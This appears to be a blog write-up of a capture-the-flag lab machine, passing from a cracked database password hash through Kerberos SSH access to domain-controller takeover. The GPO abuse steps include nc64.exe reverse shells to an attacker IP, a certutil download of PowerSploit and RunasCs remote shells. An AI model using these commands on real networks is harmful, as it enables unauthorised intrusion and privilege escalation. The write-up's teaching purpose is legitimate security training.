| address2Country           | varchar(255)                                          | NO   |     | NULL        |                |
| phone1Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone1CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone1                    | varchar(20)                                           | NO   |     | NULL        |                |
| phone3Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone3CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone3                    | varchar(20)                                           | NO   |     | NULL        |                |
| phone2Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone2CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone2                    | varchar(20)                                           | NO   |     | NULL        |                |
| phone4Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
| phone4CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
| phone4                    | varchar(20)                                           | NO   |     | NULL        |                |
| website                   | varchar(255)                                          | NO   |     | NULL        |                |
| languageFirst             | varchar(30)                                           | NO   |     | NULL        |                |
| languageSecond            | varchar(30)                                           | NO   |     | NULL        |                |
| languageThird             | varchar(30)                                           | NO   |     | NULL        |                |
| countryOfBirth            | varchar(30)                                           | NO   |     | NULL        |                |
| birthCertificateScan      | varchar(255)                                          | NO   |     | NULL        |                |
| ethnicity                 | varchar(255)                                          | NO   |     | NULL        |                |
| religion                  | varchar(30)                                           | NO   |     | NULL        |                |
| profession                | varchar(90)                                           | NO   |     | NULL        |                |
| employer                  | varchar(90)                                           | NO   |     | NULL        |                |
| jobTitle                  | varchar(90)                                           | NO   |     | NULL        |                |
| emergency1Name            | varchar(90)                                           | NO   |     | NULL        |                |
| emergency1Number1         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency1Number2         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency1Relationship    | varchar(30)                                           | NO   |     | NULL        |                |
| emergency2Name            | varchar(90)                                           | NO   |     | NULL        |                |
| emergency2Number1         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency2Number2         | varchar(30)                                           | NO   |     | NULL        |                |
| emergency2Relationship    | varchar(30)                                           | NO   |     | NULL        |                |
| gibbonHouseID             | int(3) unsigned zerofill                              | YES  |     | NULL        |                |
| studentID                 | varchar(15)                                           | NO   |     | NULL        |                |
| dateStart                 | date                                                  | YES  |     | NULL        |                |
| dateEnd                   | date                                                  | YES  |     | NULL        |                |
| gibbonSchoolYearIDClassOf | int(3) unsigned zerofill                              | YES  |     | NULL        |                |
| lastSchool                | varchar(100)                                          | NO   |     | NULL        |                |
| nextSchool                | varchar(100)                                          | NO   |     | NULL        |                |
| departureReason           | varchar(50)                                           | NO   |     | NULL        |                |
| transport                 | varchar(255)                                          | NO   |     | NULL        |                |
| transportNotes            | text                                                  | NO   |     | NULL        |                |
| calendarFeedPersonal      | text                                                  | NO   |     | NULL        |                |
| viewCalendarSchool        | enum('Y','N')                                         | NO   |     | Y           |                |
| viewCalendarPersonal      | enum('Y','N')                                         | NO   |     | Y           |                |
| viewCalendarSpaceBooking  | enum('Y','N')                                         | NO   |     | N           |                |
| gibbonApplicationFormID   | int(12) unsigned zerofill                             | YES  |     | NULL        |                |
| lockerNumber              | varchar(20)                                           | NO   |     | NULL        |                |
| vehicleRegistration       | varchar(20)                                           | NO   |     | NULL        |                |
| personalBackground        | varchar(255)                                          | NO   |     | NULL        |                |
| messengerLastRead         | datetime                                              | YES  |     | NULL        |                |
| privacy                   | text                                                  | YES  |     | NULL        |                |
| dayType                   | varchar(255)                                          | YES  |     | NULL        |                |
| gibbonThemeIDPersonal     | int(4) unsigned zerofill                              | YES  |     | NULL        |                |
| gibboni18nIDPersonal      | int(4) unsigned zerofill                              | YES  |     | NULL        |                |
| studentAgreements         | text                                                  | YES  |     | NULL        |                |
| googleAPIRefreshToken     | text                                                  | NO   |     | NULL        |                |
| microsoftAPIRefreshToken  | text                                                  | NO   |     | NULL        |                |
| genericAPIRefreshToken    | text                                                  | NO   |     | NULL        |                |
| receiveNotificationEmails | enum('Y','N')                                         | NO   |     | Y           |                |
| mfaSecret                 | varchar(16)                                           | YES  |     | NULL        |                |
| mfaToken                  | text                                                  | YES  |     | NULL        |                |
| cookieConsent             | enum('Y','N')                                         | YES  |     | NULL        |                |
| fields                    | text                                                  | NO   |     | NULL        |                |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+

Notice the username, passwordStrong, and passwordStrongSalt fields from here. Let's query to see whether we have something in here or not:

MariaDB [gibbon]> select username, passwordStrong, passwordStrongSalt from gibbonPerson;
+-----------+------------------------------------------------------------------+------------------------+
| username  | passwordStrong                                                   | passwordStrongSalt     |
+-----------+------------------------------------------------------------------+------------------------+
| f.frizzle | 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 | /aACFhikmNopqrRTVz2489 |
+-----------+------------------------------------------------------------------+------------------------+
1 row in set (0.279 sec)

Gladly, we have found a password hash along with a salt. The hash looks like a sha-256 based on its length(64-character hex string).

2025 04 24 23 08 31 Clipboard

However, we also want to know the positioning of salt in the hash before trying to crack it. Upon searching on Google, I found that the hash processing is done in the core/preferencesPasswordProcess.php file, where core is Gibbon-LMS in our case.

core
core/preferencesPasswordProcess.php at v29.0.00 · GibbonEdu/core · GitHub
Gibbon is a flexible, open source school management platform designed to make life better for teachers, students, parents and leaders. - core/preferencesPasswordProcess.php at v29.0.00 · GibbonEdu/core
favicongithub.com

PS C:xampphtdocsGibbon-LMS> Get-Content preferencesPasswordprocess.php

Hence, our hash is derived using sha256 with salt + password:

2025 04 24 22 50 03 Clipboard
Think Box
From here, we want to go forward to try to crack this hash using hashcat or john. However, I will be using hashcat!

Hash Cracking

Finding the Right Module

Our target module is 1420 based on the placement of salt in the hash, which we just discussed above.

croc@hacker$ hashcat --help | grep sha256
   1470 | sha256(utf16le($pass))                                     | Raw Hash
   1410 | sha256($pass.$salt)                                        | Raw Hash salted and/or iterated
   1420 | sha256($salt.$pass)                                        | Raw Hash salted and/or iterated
  22300 | sha256($salt.$pass.$salt)                                  | Raw Hash salted and/or iterated
  20720 | sha256($salt.sha256($pass))                                | Raw Hash salted and/or iterated
  21420 | sha256($salt.sha256_bin($pass))                            | Raw Hash salted and/or iterated
   1440 | sha256($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  20710 | sha256(sha256($pass).$salt)                                | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated
   1430 | sha256(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
   6400 | AIX {ssha256}                                              | Operating System
   7400 | sha256crypt $5$, SHA256 (Unix)                             | Operating System
   7401 | MySQL $A$ (sha256crypt)                                    | Database Server
  20711 | AuthMe sha256                                              | Enterprise Application Software (EAS)
  20300 | Python passlib pbkdf2-sha256                               | Framework

Hash.txt

I created a file hash.txt and saved the password hash and salt in the following format:

hash:salt

2025 04 24 23 25 00 Window

Cracking the Hash

croc@hacker$ hashcat -a 0 -m 1420 hash.txt /usr/share/wordlists/rockyou.txt

2025 04 24 23 29 06 Window

Hence, the password for f.frizzle is Jenni_Luvs_Magic23.

Think Box
f.frizzle is part of the Remote Management Users group but unfortunately WinRM is disabled on the box. So, for now, as we have a valid set of credential, we can proceed to dump the bloodhound data and analyze potential pathways from there.

Bloodhound Collection

After getting hit by a dozen DNS errors, I finally succeeded in dumping the data. I also uploaded it into Bloodhound.

croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" bloodhound-python -d 'frizz.htb' -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -dc 'frizzdc.frizz.htb' -ns '10.10.11.60' --auth-method kerberos -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: frizz.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: frizzdc.frizz.htb
INFO: Found 22 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: frizzdc.frizz.htb
INFO: Done in 00M 48S
                                                                                                               
croc@hacker$ ls
20250424221856_computers.json   20250424221856_gpos.json    20250424221856_users.json
20250424221856_containers.json  20250424221856_groups.json
20250424221856_domains.json     20250424221856_ous.json

faketime is used in order to tackle the KRB_AP_ERR_SKEW error.

Think Box
Enumerating all possible paths from f.frizzle, I found nothing that could lead us to further access. So, I went back to see what else do we have and saw SSH open. As Kerberos Authentication is a requirement, we need to do some configuration beforehand.

Setting up Kerberos Authentication

Step 01 – Install Client Libraries

If you are faced with any prompts during the installation, just remember to press the magic key "Enter" & go with the defaults.

croc@hacker$ sudo apt install -y heimdal-clients libsasl2-modules-gssapi-heimdal

Step 02 – Custom KRB5_CONFIG Setup

Here, we set up our custom_krb5.conf file which defines the kerberos realm configuration.

croc@hacker$ LOWER_REALM='frizz.htb'                 
                                                                                                               
croc@hacker$ UPPER_REALM='FRIZZ.HTB'
                                                                                                               
croc@hacker$ DC_HOSTNAME='frizzdc'
                                                                                                               
croc@hacker$ cat << EOF | envsubst > custom_krb5.conf
[libdefaults]
    default_realm = $UPPER_REALM
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    $UPPER_REALM = {
        kdc = $DC_HOSTNAME.$LOWER_REALM
        admin_server = $DC_HOSTNAME.$LOWER_REALM
        default_domain = $DC_HOSTNAME.$LOWER_REALM
    }

[domain_realm]
    $LOWER_REALM = $UPPER_REALM
    .$LOWER_REALM = $UPPER_REALM
EOF
                                                                                                               
croc@hacker$ cat custom_krb5.conf                    
[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
        default_domain = frizzdc.frizz.htb
    }

[domain_realm]
    frizz.htb = FRIZZ.HTB
    .frizz.htb = FRIZZ.HTB

Step 03 – Authenticate as f.frizzle

I set up the environment variable KRB5_CONFIG to point to our custom Kerberos configuration file custom_krb5.conf located in our current directory ($PWD). This allows us force Kerberos clients to use custom realm configuration.

Moreover, I initiated an authentication request as f.frizzle to the KDC using kinit, which got successful. As a result, we have a cached credential at /tmp/krb5cc_1001 which we can view using klist.

croc@hacker$ export KRB5_CONFIG="$PWD/custom_krb5.conf"
                                                                                                               
croc@hacker$ kinit f.frizzle                           
f.frizzle@FRIZZ.HTB's Password: 
                                                                                                               
croc@hacker$ klist          
Credentials cache: FILE:/tmp/krb5cc_1001
        Principal: f.frizzle@FRIZZ.HTB

  Issued                Expires               Principal
Apr 25 14:09:12 2025  Apr 26 00:09:12 2025  krbtgt/FRIZZ.HTB@FRIZZ.HTB

SSH - GSSAPI Authentication

Now, as we have a cached ticket for f.frizzle, we can use it for Kerberos authentication via SSH:

croc@hacker$ ssh -K f.frizzle@frizz.htb                                         


PowerShell 7.4.5
PS C:Usersf.frizzle>

User.txt

PS C:Usersf.frizzleDesktop> ls

    Directory: C:Usersf.frizzleDesktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar--           4/25/2025 10:02 AM             34 user.txt

PS C:Usersf.frizzleDesktop> cat user.txt
074d*****************************

Shell as M.SchoolBus

Files in Recycle Bin

After hitting my head for a little, I found two .7z files in recycle bin.

PS C:Usersf.frizzle> Get-ChildItem -Recurse -Force 'C:$RECYCLE.BIN'

    Directory: C:$RECYCLE.BIN

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                S-1-5-21-2386970044-1145388522-2932701813-1103

    Directory: C:$RECYCLE.BINS-1-5-21-2386970044-1145388522-2932701813-1103

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-a-hs          10/29/2024  7:31 AM            129 desktop.ini

Next, we want to transfer these files to our attackbox. I will restore them into our current user's Desktop for easy access later on.

PS C:Usersf.frizzle> Copy-Item -Path 'C:$Recycle.BinS-1-5-21-2386970044-1145388522-2932701813-1103*.7z' -Destination "$env:USERPROFILEDesktop"

PS C:Usersf.frizzleDesktop> ls

    Directory: C:Usersf.frizzleDesktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-ar--            5/2/2025  7:41 PM             34 user.txt

Transfer to Attack Box

Now, we want to transfer these *.7z files back to our kali machine for further analysis.

croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$IE2XMEG.7z' $PWD
$IE2XMEG.7z                                                                                                                               100%  148     0.6KB/s   00:00    
                                                                                                                                                                            
croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$RE2XMEG.7z' $PWD
$RE2XMEG.7z                                                                                                                               100%   29MB   1.7MB/s   00:17

Notice the format of both files. $RE2XMEG.7z appears to be a legitimate 7-zip archive while we're not sure about $IE2XMEG.7z.

croc@hacker$ file '$IE2XMEG.7z' '$RE2XMEG.7z' 
$IE2XMEG.7z: data
$RE2XMEG.7z: 7-zip archive data, version 0.4

Extracting the Files

The first file failed to extract but second one did extract. (As expected)

croc@hacker$ 7z x $RE2XMEG.7z 

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)

Extracting archive: $RE2XMEG.7z
--
Path = $RE2XMEG.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3

Everything is Ok                                      

Folders: 684
Files: 5384
Size:       141187501
Compressed: 30416987
                                                                                                                                                                            
croc@hacker$ ls
'$RE2XMEG.7z'   wapt

Enumerating for Sensitive Info

The configuration files are always a good bet to start with. Luckily, I found the following password in waptserver.ini file:

2025 05 03 15 43 01 Kali VMware Workstation

I passed the password along the network but it failed. That's because it was base64-encoded!

croc@hacker$ echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d                                                           
!suBcig@MehTed!R

Trying again revealed our next pivot point which is M.SchoolBus.

croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" nxc smb frizzdc.frizz.htb -u 'users.txt' -p '!suBcig@MehTed!R' -d 'frizz.htb' -k --continue-on-success

2025 05 03 23 09 03 Clipboard

Lateral to M.SchoolBus

Cached Ticket

Cleared all cached tickets and cached the ticket for M.SchoolBus:

croc@hacker$ kdestroy
kdestroy: krb5_cc_destroy: Did not find a plugin for ccache_ops
                                                                                                                                                 
croc@hacker$ kinit m.schoolbus
m.schoolbus@FRIZZ.HTB's Password: 
                                                                                                                                                 
croc@hacker$ klist
Credentials cache: FILE:/tmp/krb5cc_1001
        Principal: m.schoolbus@FRIZZ.HTB

  Issued                Expires               Principal
May  3 21:15:10 2025  May  4 07:15:10 2025  krbtgt/FRIZZ.HTB@FRIZZ.HTB

SSH

croc@hacker$ ssh -K m.schoolbus@frizzdc.frizz.htb                        

PowerShell 7.4.5
PS C:UsersM.SchoolBus> whoami
frizzm.schoolbus
PS C:UsersM.SchoolBus> 

Shell as Root

Bloodhound

Revisiting Bloodhound, I found that m.schoolbus is the member of the Desktop Admins group which is indeed the member of Group Policy Creator Owners group.

2025 05 03 23 52 39 Clipboard
2025 05 03 23 52 47 Kali VMware Workstation
Think Box
Hence, it's a great time to enumerate GPOs on the target and see what we can get.

Transfer Powersploit

We will be using the Powersploit suite of tools for GPO enumeration.

PowerSploit
GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
PowerSploit - A PowerShell Post-Exploitation Framework - PowerShellMafia/PowerSploit
favicongithub.com

On our kali machine, we do the following:

git clone https://github.com/PowerShellMafia/PowerSploit
rm -rf PowerSploit/.git/ #Removed as it is not needed
zip -r PowerSploit.zip PowerSploit
python3 -m http.server 8000

Transferred the zipped file to the target:

PS C:temp> certutil.exe -f -urlcache -split http://10.10.14.16:8000/PowerSploit.zip PowerSploit.zip
****  Online  ****
  000000  ...
  20b69d
CertUtil: -URLCache command completed successfully.
PS C:temp> ls

    Directory: C:temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---           7/20/2025  6:54 PM        2143901 PowerSploit.zip

Import all the Modules

Now, we extract all the modules in the current directory:

PS C:temp> Expand-Archive .PowerSploit.zip
PS C:temp> ls

    Directory: C:temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----           7/21/2025  3:07 PM                PowerSploit
-a---           7/21/2025  3:07 PM        2143901 PowerSploit.zip

Next, we downgrade to PowerShell v5 in order to make it work reliably:

PS C:temp> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      7.4.5 #Before
PSEdition                      Core
GitCommitId                    7.4.5
OS                             Microsoft Windows 10.0.20348
Platform                       Win32NT
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1
WSManStackVersion              3.0

PS C:temp> powershell.exe
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:temp> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.20348.2849 #After
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.20348.2849
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1

After that, it's time to import all the modules:

PS C:temp> Get-ChildItem -Directory .PowerSploitPowerSploit -Exclude docs, Tests | ForEach-Object { Import-Module $_.FullName -ErrorAction SilentlyContinue }

GPO Enumeration - Permissions

The following command shows which users/groups have what permissions on each existing GPO in the domain.

PS C:temp> Get-GPO -All | Get-GPPermission -All


Trustee     : Domain Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False

Trustee     : Enterprise Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False

Trustee     : SYSTEM
TrusteeType : WellKnownGroup
Permission  : GpoEditDeleteModifySecurity
Inherited   : False

Trustee     : Authenticated Users
TrusteeType : WellKnownGroup
Permission  : GpoApply
Inherited   : False

Trustee     : ENTERPRISE DOMAIN CONTROLLERS
TrusteeType : WellKnownGroup
Permission  : GpoRead
Inherited   : False

Trustee     : Domain Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False

Trustee     : Enterprise Admins
TrusteeType : Group
Permission  : GpoCustom
Inherited   : False

Trustee     : SYSTEM
TrusteeType : WellKnownGroup
Permission  : GpoEditDeleteModifySecurity
Inherited   : False

Trustee     : Authenticated Users
TrusteeType : WellKnownGroup
Permission  : GpoApply
Inherited   : False

Trustee     : ENTERPRISE DOMAIN CONTROLLERS
TrusteeType : WellKnownGroup
Permission  : GpoRead
Inherited   : False
Think Box
Since none of the existing GPOs are writable by our user m.schoolbus, we should explore creating a new GPO and linking it to a writable OU.

Looking for Writable OUs

We used the following command to enumerate writable OUs in our domain. Luckily, there exist only two OUs and both of them are writable by our current user.

PS C:temp> Get-DomainOU | 
>> Get-DomainObjectAcl -ResolveGUIDs | 
>> Where-Object { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -like "*WriteProperty*" } | 
>> Select-Object ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier, @{Name='ConvertedSid'; Expression={ConvertFrom-SID $_.SecurityIdentifier}}


ObjectDN              : OU=Domain Controllers,DC=frizz,DC=htb
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType         : GP-Link
SecurityIdentifier    : S-1-5-21-2386970044-1145388522-2932701813-1106
ConvertedSid          : frizzM.SchoolBus

ObjectDN              : OU=Class_Frizz,DC=frizz,DC=htb
ActiveDirectoryRights : ReadProperty, WriteProperty
ObjectAceType         : GP-Link
SecurityIdentifier    : S-1-5-21-2386970044-1145388522-2932701813-1106
ConvertedSid          : frizzM.SchoolBus

Hence, we can link our new GPO to any of the both OUs: Domain Controllers or Class_Frizz. However, our target machine is in the Domain Controllers Organizational Unit so it makes more sense to link to that.

PS C:temp> Get-ADComputer -SearchBase "OU=Class_Frizz,DC=frizz,DC=htb" -Filter *
PS C:temp> 
PS C:temp> Get-ADComputer -SearchBase "OU=Domain Controllers,DC=frizz,DC=htb" -Filter *


DistinguishedName : CN=FRIZZDC,OU=Domain Controllers,DC=frizz,DC=htb
DNSHostName       : frizzdc.frizz.htb
Enabled           : True
Name              : FRIZZDC
ObjectClass       : computer
ObjectGUID        : 36207a23-8d8d-45e2-b127-e4341a0ec93e
SamAccountName    : FRIZZDC$
SID               : S-1-5-21-2386970044-1145388522-2932701813-1000
UserPrincipalName :

Creating a new GPO and linking to OU

Created a new GPO named Evil Croc GPO using New-GPO cmdlet:

PS C:temp> New-GPO -Name "Evil Croc GPO"                                                                                                       
                                                                                                        

DisplayName      : Evil Croc GPO
DomainName       : frizz.htb
Owner            : frizzM.SchoolBus
Id               : 6ff7fae6-caf3-40da-a97f-10fff92a0f08
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 7/24/2025 6:56:02 PM
ModificationTime : 7/24/2025 6:56:02 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        : 

Linked it to the Domain Controllers OU using New-GPLink cmdlet:

C:temp> Get-GPO -name "Evil Croc GPO" | New-GPLink -Target "OU=Domain Controllers,DC=frizz,DC=htb"


GpoId       : 596d8853-cc3b-48a4-a9b2-c2a40e214ff1
DisplayName : Evil Croc GPO
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2

Way #01: Gaining Root - Immediate Scheduled Task

We will be using sharpGPOAbuse.exe in order to perform the immediate scheduled task attack.

SharpGPOAbuse
SharpGPOAbuse/SharpGPOAbuse-master at main · byronkg/SharpGPOAbuse · GitHub
Precompiled executable. Contribute to byronkg/SharpGPOAbuse development by creating an account on GitHub.
favicongithub.com

PS C:temp> & "C:tempSharpGPOAbuse.exe" --AddComputerTask --TaskName "EvilTask" --Author "FRIZZ.HTBAdministrator" --Command "cmd.exe" --Arguments "/c C:WindowsTasksnc64.exe 10.10.14.182 443 -e powershell.exe" --GPOName "Evil Croc GPO" --Force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "Evil Croc GPO" is: {5C5DC385-1956-47B8-B432-376A3A580DBE}
[+] Creating file \frizz.htbSysVolfrizz.htbPolicies{5C5DC385-1956-47B8-B432-376A3A580DBE}MachinePreferencesScheduledTasksScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

Set up a listener on the attack box at 443:

croc@hacker:~$ sudo rlwrap nc -nvlp 443
listening on [any] 443 ...

Force update the group policy to apply our GPO setting on the DC:

PS C:temp> gpupdate.exe /force                                                                                                                 
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

Successfully obtained a reverse shell as ntauthority system:

2025 07 25 18 22 24 Clipboard

Way #02: Gaining Root - Adding a Local Admin

We can also make our user m.schoolbus a local admin on the DC and then initiate a reverse shell connection under his proximity to get admin privileges:

SharpGPOAbuse
SharpGPOAbuse/SharpGPOAbuse-master/README.md at main · byronkg/SharpGPOAbuse · GitHub
Precompiled executable. Contribute to byronkg/SharpGPOAbuse development by creating an account on GitHub.
favicongithub.com

PS C:temp> & "C:tempSharpGPOAbuse.exe" --AddLocalAdmin --UserAccount 'M.schoolbus' --GPOName "Evil Croc GPO" --force
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.schoolbus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "Evil Croc GPO" is: {48753DD8-2CF7-4859-8BA3-4056612363FD}
[+] Creating file \frizz.htbSysVolfrizz.htbPolicies{48753DD8-2CF7-4859-8BA3-4056612363FD}MachineMicrosoftWindows NTSecEditGptTmpl.inf  
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

PS C:temp> gpupdate.exe /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

We can indeed verify this as well from below:

PS C:temp> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
M.SchoolBus
The command completed successfully.

However, note that the members of the local admin group are not allowed to SSH into the machine:

PS C:temp> cat C:ProgramDatasshsshd_config

2025 07 21 22 56 16 Clipboard

So, we need to figure another way out.

Think Box
What we can do is use RunasCS in order to execute commands as the m.schoolbus and initiate a reverse shell connection through it which will give us admin privileges.

RunasCS - Reverse Shell as admin

Set up a listener on your machine on whatever port and execute the following command on the target:

PS C:temp> Import-Module .Invoke-RunasCs.ps1

PS C:temp> Invoke-RunasCs 'M.schoolbus' '!suBcig@MehTed!R' powershell.exe -Remote 10.10.14.182:5555

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using StationDesktop: Service-0x0-2c55b3$Default
[+] Async process 'C:WindowsSystem32WindowsPowerShellv1.0powershell.exe' with pid 740 created in background.

PS C:temp>

And, we received a connection back as the local admin m.schoolbus:

croc@hacker:~$ sudo rlwrap nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.10.14.182] from (UNKNOWN) [10.10.11.60] 55947
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:Windowssystem32> whoami
whoami
frizzm.schoolbus
PS C:Windowssystem32> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled 
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled 
SeCreateGlobalPrivilege                   Create global objects                                              Enabled 
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
PS C:Windowssystem32> 

Root.txt

PS C:Windowssystem32> cd c:usersadministratordesktop
cd c:usersadministratordesktop

PS C:usersadministratordesktop> Get-Content root.txt
Get-Content root.txt
b7ac74b06********************

Written by

Croclius

Croclius

Ethical Hacker / Penetration Tester

Join my Newsletter

Stay in the loop.

The latest writeups, research, and offensive security insights — delivered straight to your inbox. No spam, ever.

Please enter your first name.
Please enter a valid email address.

No spam, ever. Unsubscribe anytime.

Comments

0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Privacy Overview

This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.